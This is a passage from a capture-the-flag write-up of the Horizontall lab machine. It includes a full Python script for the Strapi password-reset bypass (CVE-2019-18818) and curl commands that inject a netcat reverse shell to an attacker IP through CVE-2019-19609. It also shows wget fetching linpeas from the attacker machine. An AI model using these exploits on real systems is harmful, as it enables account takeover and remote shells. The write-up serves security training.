        t.exports = e.p + "img/4.52389c77.png"
    },
    "99c0": function(t, s, e) {
        t.exports = e.p + "img/marketing.4b7dfec0.svg"
    },
    ac5a: function(t, s, e) {
        t.exports = e.p + "img/1.cecf2cc1.png"
    },
    cc09: function(t, s, e) {
        t.exports = e.p + "img/horizontall.2db2bc37.png"
    },
    e611: function(t, s, e) {
        t.exports = e.p + "img/3.25f11f60.png"
    },
    e891: function(t, s, e) {
        t.exports = e.p + "img/email_campaign_monochromatic.f0faa6a4.svg"
    },
    eafb: function(t, s, e) {
        t.exports = e.p + "img/2.76afc074.png"
    },
    f3ea: function(t, s, e) {
        t.exports = e.p + "img/c3.1a5adf9b.jpg"
    },
    fd7d: function(t, s, e) {
        t.exports = e.p + "img/seo_monochromatic.5fce4827.svg"
    }
});
//# sourceMappingURL=app.c68eb462.js.map

It’s a rather long file but after som carefull examination I found one interesting method. Another sub domain is used here.

                getReviews: function() {
                    var t = this;
                    r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
                        return t.reviews = s.data
                    }
                    ))
                }

So lets change the line I added to my hosts file before so it includes api-prod.horizontall.htb aswell. That line now looks like this:

10.129.195.67 horizontall.htb api-prod.horizontall.htb

Let’s use curl to curl to see if we can get anything out of this api.

┌──(root💀bd5737a0ce49)-[/]
└─# curl http://api-prod.horizontall.htb/reviews
[{"id":1,"name":"wail","description":"This is good service","stars":4,"created_at":"2021-05-29T13:23:38.000Z","updated_at":"2021-05-29T13:23:38.000Z"},{"id":2,"name":"doe","description":"i'm satisfied with the product","stars":5,"created_at":"2021-05-29T13:24:17.000Z","updated_at":"2021-05-29T13:24:17.000Z"},{"id":3,"name":"john","description":"create service with minimum price i hop i can buy more in the futur","stars":5,"created_at":"2021-05-29T13:25:26.000Z","updated_at":"2021-05-29T13:25:26.000Z"}]

Yes I sure did get some json back. Let’s see if I can find out something more about this api by looking at the headers.

┌──(root💀bd5737a0ce49)-[/]
└─# curl http://api-prod.horizontall.htb/reviews --head
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 29 Aug 2021 12:07:02 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 507
Connection: keep-alive
Vary: Origin
Content-Security-Policy: img-src 'self' http:; block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Powered-By: Strapi <strapi.io>

Aha it seems it’s using strapi (https://strapi.io/). A quick google and I find that: Strapi is the leading open-source headless CMS. It’s 100% JavaScript, fully customizable and developer-first. It’s time to look for some exploits.

The very first one I found seems very interesting: https://bittherapy.net/post/strapi-framework-remote-code-execution/ Remote code execution is what we want. The PoC itself is based on Curl and looks like this:

curl -i -s -k -X $'POST' -H $'Host: localhost:1337' -H $'Authorization: Bearer [jwt]' -H $'Content-Type: application/json' -H $'Origin: http://localhost:1337' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f)\",\"port\":\"1337\"}' $'http://localhost:1337/admin/plugins/install'

But after som examination of the exploit I found this:

-H $'Authorization: Bearer [jwt]'

This indicates that it needs a jwt token and we need to be authenticated before we can use the exploit. After som more google-fu I found this: https://thatsn0tmysite.wordpress.com/2019/11/15/x05/ That exploit helps me bypass authentication and that’s what Im looking for now.

But first of all let’s just do some fuzzing of the api so we know if there is something more interesting there.

Fuzzing the API

┌──(root💀bd5737a0ce49)-[/]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://api-prod.horizontall.htb/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://api-prod.horizontall.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

ADMIN                   [Status: 200, Size: 854, Words: 98, Lines: 17]
Admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
admin                   [Status: 200, Size: 854, Words: 98, Lines: 17]
favicon.ico             [Status: 200, Size: 1150, Words: 4, Lines: 1]
reviews                 [Status: 200, Size: 507, Words: 21, Lines: 1]
robots.txt              [Status: 200, Size: 121, Words: 19, Lines: 4]
users                   [Status: 403, Size: 60, Words: 1, Lines: 1]
:: Progress: [20475/20475] :: Job [1/1] :: 819 req/sec :: Duration: [0:00:29] :: Errors: 0 ::

Aha, users! That seems interesting. Let’s see what we can do.

┌──(root💀bd5737a0ce49)-[/]
└─# curl http://api-prod.horizontall.htb/users
{"statusCode":403,"error":"Forbidden","message":"Forbidden"}

Ok that’s forbidden, we really need to be authenticated and my guess is that we can use the admin to login and one of the exploits we found was about bypassing authentication. Let’s load /admin in a broweser and see what we get.

Login

Yes that’s a login page. I tried some simple stuff like loging in with admin/admin and so on but without any results. Time to check out that CVE-2019-18818 again.

Using CVE-2019-18818 to reset the admin password

Let’s see if we can use that auth bypass now (https://thatsn0tmysite.wordpress.com/2019/11/15/x05/) This is the python script used:

import requests
import sys
import json
 
args=sys.argv
 
if len(args) < 4:
    print("Usage: {} <admin_email> <url> <new_password>".format(args[0]))
    exit(-1)
 
email = args[1]
url = args[2]
new_password =  args[3]
 
s  =  requests.Session()
 
version = json.loads(s.get("{}/admin/strapiVersion".format(url)).text)
 
print("[*] Detected version(GET /admin/strapiVersion): {}".format(version["strapiVersion"]))
 
#Request password reset
print("[*] Sending password reset request...")
reset_request={"email":email, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(url)}
s.post("{}/".format(url), json=reset_request)
 
#Reset password to
print("[*] Setting new password...")
exploit={"code":{}, "password":new_password, "passwordConfirmation":new_password}
r=s.post("{}/admin/auth/reset-password".format(url), json=exploit)
 
print("[*] Response:")
print(str(r.content))

No changes needed, the script uses a vulnerability and changes the users password. Let’s just run the script and see if it works. We use [email protected] as user and password1 as the new password we want to set.

┌──(root💀bd5737a0ce49)-[/]
└─# python3 exploit.py [email protected] http://api-prod.horizontall.htb password1
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response:
b'{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjQwMTc2LCJleHAiOjE2MzI4MzIxNzZ9.PHD9xstT5ARPjne-BbcS9LBf5R4U4k_1yhT39kp0Gw8","user":{"id":3,"username":"admin","email":"[email protected]","blocked":null}}'

Holy shit!!! It seems to work at the first attempt. Let’s move over to the browser and login using my new credentials admin/password1.

Login

And yes I am logged in. After some clicking around here I can’t find anything obvoius that we can exploit. I can upload files using the upload file plugin. But the files are given a random name and placed on an internal url like http://localhost:1337/uploads/a2a83693077145e9ab310261e8f3f16b.php.

Obviously localhost can’t be accessed from the outside. I spent quite some time here trying to trigger an uploaded php reverse shell using an SSRF (https://snyk.io/vuln/SNYK-JS-STRAPI-1022256). But I could not really figure out how to use the exploit or perhaps it just does not work on this system. Perhaps it’s time to look at the CVE:s again.

Using CVE-2019-19609 for RCE and reverse shell

So let’s try the other exploit that could give us an RCE (https://bittherapy.net/post/strapi-framework-remote-code-execution/) we are authenticated now so we should be able to use the JWT. Just look through the requests using your browsers developer tools and in the header you will find:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjQwMjU0LCJleHAiOjE2MzI4MzIyNTR9.hYuwgwaZ7d4Ptz6OsGjIWO7z1ssxKMySEleHjQurAqY

The original exploit example looks like this:

curl -i -s -k -X $'POST' -H $'Host: localhost:1337' -H $'Authorization: Bearer [jwt]' -H $'Content-Type: application/json' -H $'Origin: http://localhost:1337' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.69 4444 >/tmp/f)\",\"port\":\"1337\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'

First we start our netcat listener:

PS C:\Users\f1rstr3am> ncat.exe -lvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Now let’s change the reverse shell part to my ip, let’s use my jwt and the url to our horizontall system and fired it off.

┌──(root💀bd5737a0ce49)-[/]
└─# curl -i -s -k -X $'POST' -H $'Host: localhost:1337' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMTgxNjY0LCJleHAiOjE2MzI3NzM2NjR9.mzgSE_TUd04nwz8Q-1m7VA8Q7e0RpJYHDFrm6r_VJB0' -H $'Content-Type: application/json' -H $'Origin: http://localhost:1337' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.69 4444 >/tmp/f)\",\"port\":\"1337\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'
HTTP/1.1 301 Moved Permanently
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 29 Aug 2021 12:42:19 GMT
Content-Type: text/html
Content-Length: 194
Connection: close
Location: http://horizontall.htb

<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>

So we get an error 301 back. What does that mean? Is this part of the api disabled on the system, am I calling the wrong url? Well I struggled here for hours and hours googleing and trying to understand if this atttack vector was closed or if I was doing something wrong. Perhaps stupid of me not trying to change more stuff and just fire some curls off. After many hours I decided to try to change some basic stuff:

┌──(root💀bd5737a0ce49)-[/]
└─# curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer [jwt]' -H $'Content-Type: application/json' -H $'Origin: http://localhost:1337' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.69 4444 >/tmp/f)\",\"port\":\"13\"1337\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'://api-prod.horizontall.htb/admin/plugins/install'
HTTP/1.1 400 Bad Request
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 29 Aug 2021 12:47:05 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 81
Connection: close
Vary: Origin
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Content-Security-Policy: img-src 'self' http:; block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Powered-By: Strapi <strapi.io>

{"statusCode":400,"error":"Bad Request","message":"Unexpected end of JSON input"}

All I changed was the Host field in the header and made it point to api-prod.horizontall.htb instead of localhost:1337. That’s so stupid but I thought that having host point to the internal localhost:1337 was part of the exploit. I mixed things up totally. Though still an error but now you could easy guess that it has to do with the Content-Length no longer matching. So let’s just remove that field and get rid of all the escaping characters \ and $. And then fire it off again:

┌──(root💀bd5737a0ce49)-[/]
└─# curl -X 'POST' -H 'Host: api-prod.horizontall.htb' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMTg1NDQzLCJleHAiOjE2MzI3Nzc0NDN9.r8IeES07Dnhs5fHfHUa2dAROE2RGIAeKzHVgI9lZoIM' -H 'Content-Type: application/json' -H 'Origin: http://localhost:1337' -H 'Connection: close' --data '{"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.69 4444 >/tmp/f)","port":"1337"}' 'http://api-prod.horizontall.htb/admin/plugins/install'

And YES we have our shell:

PS C:\Users\f1rstr3am> ncat -lvp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.195.67.
Ncat: Connection from 10.129.195.67:38218.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
strapi

We are the user strapi. Let’s see if wee can find the user flag.

$ ls /home
developer
$ ls /home/developer
composer-setup.php
myproject
user.txt
$ cat /home/developer/user.txt
deadbeefdeadbeefdeadbeefdeadbeef

Yes there it is. We do not seem to have permissions for anything else in the developer home directory. Time to go for root

Privilege escalation from user to root

Enumeration with linpeas

I looked around for a few minutes and then decided to go for one of my two common enumeration scripts linpeas (https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Let’s download the linpeas script to attacker machine and start up a simple web server to make it available via http on the attacking machine.

PS C:\Users\f1rstr3am\Downloads> python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

Now head over to the target and download the linpeas script from the attacking machine.

$ cd /tmp
$ wget 10.10.14.69:8000/linpeas.sh
--2021-08-29 13:05:06--  http://10.10.14.69:8000/linpeas.sh
Connecting to 10.10.14.69:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 458109 (447K) [application/x-sh]
Saving to: ΓÇÿlinpeas.shΓÇÖ

     0K .......... .......... .......... .......... .......... 11%  482K 1s
    50K .......... .......... .......... .......... .......... 22%  555K 1s
   100K .......... .......... .......... .......... .......... 33% 1.06M 0s
   150K .......... .......... .......... .......... .......... 44%  961K 0s
   200K .......... .......... .......... .......... .......... 55% 1011K 0s
   250K .......... .......... .......... .......... .......... 67% 1.06M 0s
   300K .......... .......... .......... .......... .......... 78% 4.91M 0s
   350K .......... .......... .......... .......... .......... 89% 1.05M 0s
   400K .......... .......... .......... .......... .......   100% 1.06M=0.5s

2021-08-29 13:05:07 (918 KB/s) - ΓÇÿlinpeas.shΓÇÖ saved [458109/458109]

$ chmod +x linpeas.sh

And when I execute it I get page after page of juicy info. Let’s just review the part that I found interesting here:

$ ./linpeas.sh

ΓòÜ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1830/node /usr/bin/
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -

There seems to be some service running on port 8000. Let’s see what that can be.

$ curl localhost:8000
curl localhost:8000
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Laravel</title>

        <!-- Fonts -->
        <link href="https://fonts.googleapis.com/css2?family=Nunito:wght@400;600;700&display=swap" rel="stylesheet">

        <!-- Styles -->
        <style>
            /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}svg,video{display:block;vertical-align:middle}video{max-width:100%;height:auto}.bg-white{--bg-opacity:1;background-color:#fff;background-color:rgba(255,255,255,var(--bg-opacity))}.bg-gray-100{--bg-opacity:1;background-color:#f7fafc;background-color:rgba(247,250,252,var(--bg-opacity))}.border-gray-200{--border-opacity:1;border-color:#edf2f7;border-color:rgba(237,242,247,var(--border-opacity))}.border-t{border-top-width:1px}.flex{display:flex}.grid{display:grid}.hidden{display:none}.items-center{align-items:center}.justify-center{justify-content:center}.font-semibold{font-weight:600}.h-5{height:1.25rem}.h-8{height:2rem}.h-16{height:4rem}.text-sm{font-size:.875rem}.text-lg{font-size:1.125rem}.leading-7{line-height:1.75rem}.mx-auto{margin-left:auto;margin-right:auto}.ml-1{margin-left:.25rem}.mt-2{margin-top:.5rem}.mr-2{margin-right:.5rem}.ml-2{margin-left:.5rem}.mt-4{margin-top:1rem}.ml-4{margin-left:1rem}.mt-8{margin-top:2rem}.ml-12{margin-left:3rem}.-mt-px{margin-top:-1px}.max-w-6xl{max-width:72rem}.min-h-screen{min-height:100vh}.overflow-hidden{overflow:hidden}.p-6{padding:1.5rem}.py-4{padding-top:1rem;padding-bottom:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.pt-8{padding-top:2rem}.fixed{position:fixed}.relative{position:relative}.top-0{top:0}.right-0{right:0}.shadow{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)}.text-center{text-align:center}.text-gray-200{--text-opacity:1;color:#edf2f7;color:rgba(237,242,247,var(--text-opacity))}.text-gray-300{--text-opacity:1;color:#e2e8f0;color:rgba(226,232,240,var(--text-opacity))}.text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}.text-gray-500{--text-opacity:1;color:#a0aec0;color:rgba(160,174,192,var(--text-opacity))}.text-gray-600{--text-opacity:1;color:#718096;color:rgba(113,128,150,var(--text-opacity))}.text-gray-700{--text-opacity:1;color:#4a5568;color:rgba(74,85,104,var(--text-opacity))}.text-gray-900{--text-opacity:1;color:#1a202c;color:rgba(26,32,44,var(--text-opacity))}.underline{text-decoration:underline}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.w-5{width:1.25rem}.w-8{width:2rem}.w-auto{width:auto}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}@media (min-width:640px){.sm\:rounded-lg{border-radius:.5rem}.sm\:block{display:block}.sm\:items-center{align-items:center}.sm\:justify-start{justify-content:flex-start}.sm\:justify-between{justify-content:space-between}.sm\:h-20{height:5rem}.sm\:ml-0{margin-left:0}.sm\:px-6{padding-left:1.5rem;padding-right:1.5rem}.sm\:pt-0{padding-top:0}.sm\:text-left{text-align:left}.sm\:text-right{text-align:right}}@media (min-width:768px){.md\:border-t-0{border-top-width:0}.md\:border-l{border-left-width:1px}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}@media (min-width:1024px){.lg\:px-8{padding-left:2rem;padding-right:2rem}}@media (prefers-color-scheme:dark){.dark\:bg-gray-800{--bg-opacity:1;background-color:#2d3748;background-color:rgba(45,55,72,var(--bg-opacity))}.dark\:bg-gray-900{--bg-opacity:1;background-color:#1a202c;background-color:rgba(26,32,44,var(--bg-opacity))}.dark\:border-gray-700{--border-opacity:1;border-color:#4a5568;border-color:rgba(74,85,104,var(--border-opacity))}.dark\:text-white{--text-opacity:1;color:#fff;color:rgba(255,255,255,var(--text-opacity))}.dark\:text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}}
        </style>

        <style>
            body {
                font-family: 'Nunito';
            }
        </style>
    </head>
    <body class="antialiased">
        <div class="relative flex items-top justify-center min-h-screen bg-gray-100 dark:bg-gray-900 sm:items-center sm:pt-0">

            <div class="max-w-6xl mx-auto sm:px-6 lg:px-8">
                <div class="flex justify-center pt-8 sm:justify-start sm:pt-0">
                    <svg viewBox="0 0 651 192" fill="none" xmlns="http://www.w3.org/2000/svg" class="h-16 w-auto text-gray-700 sm:h-20">
                        <g clip-path="url(#clip0)" fill="#EF3B2D">
                            <path d="M248.032 44.676h-16.466v100.23h47.394v-14.748h-30.928V44.676zM337.091 87.202c-2.101-3.341-5.083-5.965-8.949-7.875-3.865-1.909-7.756-2.864-11.669-2.864-5.062 0-9.69.931-13.89 2.792-4.201 1.861-7.804 4.417-10.811 7.661-3.007 3.246-5.347 6.993-7.016 11.239-1.672 4.249-2.506 8.713-2.506 13.389 0 4.774.834 9.26 2.506 13.459 1.669 4.202 4.009 7.925 7.016 11.169 3.007 3.246 6.609 5.799 10.811 7.66 4.199 1.861 8.828 2.792 13.89 2.792 3.913 0 7.804-.955 11.669-2.863 3.866-1.908 6.849-4.533 8.949-7.875v9.021h15.607V78.182h-15.607v9.02zm-1.431 32.503c-.955 2.578-2.291 4.821-4.009 6.73-1.719 1.91-3.795 3.437-6.229 4.582-2.435 1.146-5.133 1.718-8.091 1.718-2.96 0-5.633-.572-8.019-1.718-2.387-1.146-4.438-2.672-6.156-4.582-1.719-1.909-3.032-4.152-3.938-6.73-.909-2.577-1.36-5.298-1.36-8.161 0-2.864.451-5.585 1.36-8.162.905-2.577 2.219-4.819 3.938-6.729 1.718-1.908 3.77-3.437 6.156-4.582 2.386-1.146 5.059-1.718 8.019-1.718 2.958 0 5.656.572 8.091 1.718 2.434 1.146 4.51 2.674 6.229 4.582 1.718 1.91 3.054 4.152 4.009 6.729.953 2.577 1.432 5.298 1.432 8.162-.001 2.863-.479 5.584-1.432 8.161zM463.954 87.202c-2.101-3.341-5.083-5.965-8.949-7.875-3.865-1.909-7.756-2.864-11.669-2.864-5.062 0-9.69.931-13.89 2.792-4.201 1.861-7.804 4.417-10.811 7.661-3.007 3.246-5.347 6.993-7.016 11.239-1.672 4.249-2.506 8.713-2.506 13.389 0 4.774.834 9.26 2.506 13.459 1.669 4.202 4.009 7.925 7.016 11.169 3.007 3.246 6.609 5.799 10.811 7.66 4.199 1.861 8.828 2.792 13.89 2.792 3.913 0 7.804-.955 11.669-2.863 3.866-1.908 6.849-4.533 8.949-7.875v9.021h15.607V78.182h-15.607v9.02zm-1.432 32.503c-.955 2.578-2.291 4.821-4.009 6.73-1.719 1.91-3.795 3.437-6.229 4.582-2.435 1.146-5.133 1.718-8.091 1.718-2.96 0-5.633-.572-8.019-1.718-2.387-1.146-4.438-2.672-6.156-4.582-1.719-1.909-3.032-4.152-3.938-6.73-.909-2.577-1.36-5.298-1.36-8.161 0-2.864.451-5.585 1.36-8.162.905-2.577 2.219-4.819 3.938-6.729 1.718-1.908 3.77-3.437 6.156-4.582 2.386-1.146 5.059-1.718 8.019-1.718 2.958 0 5.656.572 8.091 1.718 2.434 1.146 4.51 2.674 6.229 4.582 1.718 1.91 3.054 4.152 4.009 6.729.953 2.577 1.432 5.298 1.432 8.162 0 2.863-.479 5.584-1.432 8.161zM650.772 44.676h-15.606v100.23h15.606V44.676zM365.013 144.906h15.607V93.538h26.776V78.182h-42.383v66.724zM542.133 78.182l-19.616 51.096-19.616-51.096h-15.808l25.617 66.724h19.614l25.617-66.724h-15.808zM591.98 76.466c-19.112 0-34.239 15.706-34.239 35.079 0 21.416 14.641 35.079 36.239 35.079 12.088 0 19.806-4.622 29.234-14.688l-10.544-8.158c-.006.008-7.958 10.449-19.832 10.449-13.802 0-19.612-11.127-19.612-16.884h51.777c2.72-22.043-11.772-40.877-33.023-40.877zm-18.713 29.28c.12-1.284 1.917-16.884 18.589-16.884 16.671 0 18.697 15.598 18.813 16.884h-37.402zM184.068 43.892c-.024-.088-.073-.165-.104-.25-.058-.157-.108-.316-.191-.46-.056-.097-.137-.176-.203-.265-.087-.117-.161-.242-.265-.345-.085-.086-.194-.148-.29-.223-.109-.085-.206-.182-.327-.252l-.002-.001-.002-.002-35.648-20.524a2.971 2.971 0 00-2.964 0l-35.647 20.522-.002.002-.002.001c-.121.07-.219.167-.327.252-.096.075-.205.138-.29.223-.103.103-.178.228-.265.345-.066.089-.147.169-.203.265-.083.144-.133.304-.191.46-.031.085-.08.162-.104.25-.067.249-.103.51-.103.776v38.979l-29.706 17.103V24.493a3 3 0 00-.103-.776c-.024-.088-.073-.165-.104-.25-.058-.157-.108-.316-.191-.46-.056-.097-.137-.176-.203-.265-.087-.117-.161-.242-.265-.345-.085-.086-.194-.148-.29-.223-.109-.085-.206-.182-.327-.252l-.002-.001-.002-.002L40.098 1.396a2.971 2.971 0 00-2.964 0L1.487 21.919l-.002.002-.002.001c-.121.07-.219.167-.327.252-.096.075-.205.138-.29.223-.103.103-.178.228-.265.345-.066.089-.147.169-.203.265-.083.144-.133.304-.191.46-.031.085-.08.162-.104.25-.067.249-.103.51-.103.776v122.09c0 1.063.568 2.044 1.489 2.575l71.293 41.045c.156.089.324.143.49.202.078.028.15.074.23.095a2.98 2.98 0 001.524 0c.069-.018.132-.059.2-.083.176-.061.354-.119.519-.214l71.293-41.045a2.971 2.971 0 001.489-2.575v-38.979l34.158-19.666a2.971 2.971 0 001.489-2.575V44.666a3.075 3.075 0 00-.106-.774zM74.255 143.167l-29.648-16.779 31.136-17.926.001-.001 34.164-19.669 29.674 17.084-21.772 12.428-43.555 24.863zm68.329-76.259v33.841l-12.475-7.182-17.231-9.92V49.806l12.475 7.182 17.231 9.92zm2.97-39.335l29.693 17.095-29.693 17.095-29.693-17.095 29.693-17.095zM54.06 114.089l-12.475 7.182V46.733l17.231-9.92 12.475-7.182v74.537l-17.231 9.921zM38.614 7.398l29.693 17.095-29.693 17.095L8.921 24.493 38.614 7.398zM5.938 29.632l12.475 7.182 17.231 9.92v79.676l.001.005-.001.006c0 .114.032.221.045.333.017.146.021.294.059.434l.002.007c.032.117.094.222.14.334.051.124.088.255.156.371a.036.036 0 00.004.009c.061.105.149.191.222.288.081.105.149.22.244.314l.008.01c.084.083.19.142.284.215.106.083.202.178.32.247l.013.005.011.008 34.139 19.321v34.175L5.939 144.867V29.632h-.001zm136.646 115.235l-65.352 37.625V148.31l48.399-27.628 16.953-9.677v33.862zm35.646-61.22l-29.706 17.102V66.908l17.231-9.92 12.475-7.182v33.841z"/>
                        </g>
                    </svg>
                </div>

                <div class="mt-8 bg-white dark:bg-gray-800 overflow-hidden shadow sm:rounded-lg">
                    <div class="grid grid-cols-1 md:grid-cols-2">
                        <div class="p-6">
                            <div class="flex items-center">
                                <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-8 h-8 text-gray-500"><path d="M12 6.253v13m0-13C10.832 5.477 9.246 5 7.5 5S4.168 5.477 3 6.253v13C4.168 18.477 5.754 18 7.5 18s3.332.477 4.5 1.253m0-13C13.168 5.477 14.754 5 16.5 5c1.747 0 3.332.477 4.5 1.253v13C19.832 18.477 18.247 18 16.5 18c-1.746 0-3.332.477-4.5 1.253"></path></svg>
                                <div class="ml-4 text-lg leading-7 font-semibold"><a href="https://laravel.com/docs" class="underline text-gray-900 dark:text-white">Documentation</a></div>
                            </div>

                            <div class="ml-12">
                                <div class="mt-2 text-gray-600 dark:text-gray-400 text-sm">
                                    Laravel has wonderful, thorough documentation covering every aspect of the framework. Whether you are new to the framework or have previous experience with Laravel, we recommend reading all of the documentation from beginning to end.
                                </div>
                            </div>
                        </div>

                        <div class="p-6 border-t border-gray-200 dark:border-gray-700 md:border-t-0 md:border-l">
                            <div class="flex items-center">
                                <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-8 h-8 text-gray-500"><path d="M3 9a2 2 0 012-2h.93a2 2 0 001.664-.89l.812-1.22A2 2 0 0110.07 4h3.86a2 2 0 011.664.89l.812 1.22A2 2 0 0018.07 7H19a2 2 0 012 2v9a2 2 0 01-2 2H5a2 2 0 01-2-2V9z"></path><path d="M15 13a3 3 0 11-6 0 3 3 0 016 0z"></path></svg>
                                <div class="ml-4 text-lg leading-7 font-semibold"><a href="https://laracasts.com" class="underline text-gray-900 dark:text-white">Laracasts</a></div>
                            </div>

                            <div class="ml-12">
                                <div class="mt-2 text-gray-600 dark:text-gray-400 text-sm">
                                    Laracasts offers thousands of video tutorials on Laravel, PHP, and JavaScript development. Check them out, see for yourself, and massively level up your development skills in the process.
                                </div>
                            </div>
                        </div>

                        <div class="p-6 border-t border-gray-200 dark:border-gray-700">
                            <div class="flex items-center">
                                <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-8 h-8 text-gray-500"><path d="M7 8h10M7 12h4m1 8l-4-4H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-3l-4 4z"></path></svg>
                                <div class="ml-4 text-lg leading-7 font-semibold"><a href="https://laravel-news.com/" class="underline text-gray-900 dark:text-white">Laravel News</a></div>
                            </div>

                            <div class="ml-12">
                                <div class="mt-2 text-gray-600 dark:text-gray-400 text-sm">
                                    Laravel News is a community driven portal and newsletter aggregating all of the latest and most important news in the Laravel ecosystem, including new package releases and tutorials.
                                </div>
                            </div>
                        </div>

                        <div class="p-6 border-t border-gray-200 dark:border-gray-700 md:border-l">
                            <div class="flex items-center">
